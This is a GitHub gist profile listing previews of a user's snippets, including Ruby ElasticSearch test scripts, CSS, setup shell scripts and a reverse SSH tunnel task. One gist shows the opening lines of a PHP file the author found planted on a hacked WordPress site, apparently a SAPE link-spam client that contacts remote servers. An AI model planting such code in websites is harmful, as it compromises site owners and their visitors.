Skip to content

Instantly share code, notes, and snippets.

View Rio517's full-sized avatar

Mario Olivio Flores Rio517

View GitHub Profile
@Rio517
Rio517 / elastic-search-sandbox.rb
Created September 10, 2012 21:37
ElasticSearch Sandbox - a little ruby script to give me a place to test out ElasticSearch facets and queries.
require 'tire'
require 'sqlite3'
require 'active_record'
ActiveRecord::Base.establish_connection( adapter: 'sqlite3', database: ":memory:" )
ActiveRecord::Migration.verbose = false
ActiveRecord::Schema.define(version: 1) do
create_table :articles do |t|
t.string :title
@Rio517
Rio517 / style.css
Created September 14, 2012 23:09
Expression Engine Compact CSS - compact styling of EE Admin pages.
textarea.markItUpEditor {
height: 500px;
min-height: 600px;
padding: 2px;
}
#activeUser {
margin-top: 0;
padding-top: 0;
}
@Rio517
Rio517 / tire-issue.rb
Created September 25, 2012 23:37
TIRE: Not Analyzed mapping dropped when class method deletes and recreates index
require 'tire'
require 'sqlite3'
require 'active_record'
require 'will_paginate'
ActiveRecord::Base.establish_connection( adapter: 'sqlite3', database: ":memory:" )
ActiveRecord::Migration.verbose = false
ActiveRecord::Schema.define(version: 2) do
create_table :articles do |t|
@Rio517
Rio517 / style.css
Created December 24, 2012 00:29
Wordpress Hack. This is a file I found on a friends site when her metadata was hacked.
<?php
class SAPE_base {
var $_version = '1.0.3';
var $_verbose = false;
var $_charset = ''; // http://www.php.net/manual/en/function.iconv.php
var $_server_list = array('dispenser-01.sape.ru', 'dispenser-02.sape.ru');
@Rio517
Rio517 / und+back.js
Created January 2, 2013 04:41
combined underscore + backbone file for including in codepen
(function(){var n=this,t=n._,r={},e=Array.prototype,u=Object.prototype,i=Function.prototype,a=e.push,o=e.slice,c=e.concat,l=u.toString,f=u.hasOwnProperty,s=e.forEach,p=e.map,v=e.reduce,h=e.reduceRight,g=e.filter,d=e.every,m=e.some,y=e.indexOf,b=e.lastIndexOf,x=Array.isArray,_=Object.keys,j=i.bind,w=function(n){return n instanceof w?n:this instanceof w?(this._wrapped=n,void 0):new w(n)};"undefined"!=typeof exports?("undefined"!=typeof module&&module.exports&&(exports=module.exports=w),exports._=w):n._=w,w.VERSION="1.4.3";var A=w.each=w.forEach=function(n,t,e){if(null!=n)if(s&&n.forEach===s)n.forEach(t,e);else if(n.length===+n.length){for(var u=0,i=n.length;i>u;u++)if(t.call(e,n[u],u,n)===r)return}else for(var a in n)if(w.has(n,a)&&t.call(e,n[a],a,n)===r)return};w.map=w.collect=function(n,t,r){var e=[];return null==n?e:p&&n.map===p?n.map(t,r):(A(n,function(n,u,i){e[e.length]=t.call(r,n,u,i)}),e)};var O="Reduce of empty array with no initial value";w.reduce=w.foldl=w.inject=function(n,t,r,e){var u=arguments.leng
<!doctype html>
<!--[if lt IE 7]> <html class="no-js ie lt-ie9 lt-ie8 lt-ie7" lang="en"> <![endif]-->
<!--[if IE 7]> <html class="no-js ie lt-ie9 lt-ie8" lang="en"> <![endif]-->
<!--[if IE 8]> <html class="no-js ie lt-ie9" lang="en"> <![endif]-->
<!--[if gt IE 8]><!--> <html class="no-js" lang="en"> <!--<![endif]-->
@Rio517
Rio517 / utils.rake
Created March 11, 2013 20:30
Generic local tunnel to web url
desc "Start Reverse SSH Tunnel"
task :start do
ssh_username = "rails"
ssh_host = "managedmachine.com"
ssh_port = 22
tunnel_listener_port = 9999
local_listner_port = 8000
@Rio517
Rio517 / _service.md
Last active January 15, 2016 13:52 — forked from naholyr/_service.md
Sample /etc/init.d script (with current github raw link)

Sample service script for debianoids

Look at LSB init scripts for more information.

Usage

Copy to /etc/init.d:

# replace "$YOUR_SERVICE_NAME" with your service's name (whenever it's not enough obvious)
@Rio517
Rio517 / process_open_secrets.sh
Last active February 5, 2016 15:36
Bash script to Filter and Join FEC data downloaded from OpenSecrets.org for use in MAYDAY PAC donor strike tool.
#### README ######
#
#### Overview
# This script prepares FEC data for use in a 3rd party search service.Info
# on search service can be found here:
# https://developer.ibm.com/clouddataservices/2016/01/21/introducing-simple-faceted-search-service/
#
# This was script was created pretty quickly, but should mostly work on any
# generic *nix box with the dependencies listed below.
#
@Rio517
Rio517 / build_as_remote.bash
Created February 7, 2016 08:17
Setup Remote XFCE Desktop Build
# After creating a box on digital ocean, you can run this scrip to createa remote desktop
# digial ocean mirror have issues, swap out.
sudo sed 's/mirrors.digitalocean.com/mirror.us.leaseweb.net/g' -i /etc/apt/sources.list
sudo apt-get update
sudo apt-get install python-software-properties software-properties-common -y
sudo apt-add-repository -y ppa:x2go/stable
sudo apt-get update
sudo apt-get install x2goserver x2goserver-xsession -y
sudo apt-get install xfce4 -y